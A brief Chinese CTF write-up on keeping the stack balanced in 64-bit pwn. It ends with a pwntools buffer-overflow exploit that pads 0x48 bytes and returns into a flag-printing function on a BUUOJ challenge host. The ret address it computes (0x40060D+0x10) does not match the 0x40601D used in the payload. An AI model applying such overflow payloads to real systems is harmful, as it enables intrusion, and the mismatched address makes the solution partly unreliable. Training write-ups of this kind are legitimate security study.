pwn中 64位与32位,增加堆栈平衡
1)如果要返回父程序,则当我们在堆栈中进行堆栈的操作的时候,一定要保证在RET这条指令之前,ESP指向的是我们压入栈中的地址。
2)如果通过堆栈传递参数了,那么在函数执行完毕后,要平衡参数导致的堆栈变化。
含义就是 当函数在一步步执行的时候 一直到ret执行之前,堆栈栈顶的地址 一定要是call指令的下一个地址。
也就是说函数执行前一直到函数执行结束,函数里面的堆栈是要保持不变的。
如果堆栈变化了,那么,要在ret执行前将堆栈恢复成原来的样子。
原因我们知道了,但如何去找 ret地址 和 函数地址
借助一道题,一道简单的64位栈溢出。
已经找到存储flag的函数(sub_40060D),函数的起始地址就是0x40060D,其结束地址就是ret地址(0x40060D+0x10),再加填充的垃圾数据 payload = ("A"*(0x40 + 8)).encode(),和 p64(0x40060D)+ p64(0x40601D),就是payload
from pwn import * p = remote("node3.buuoj.cn",28497) payload = ("A"*(0x40 + 8)).encode() payload = payload+ p64(0x40060D)+ p64(0x40601D) p.sendline(payload) p.interactive()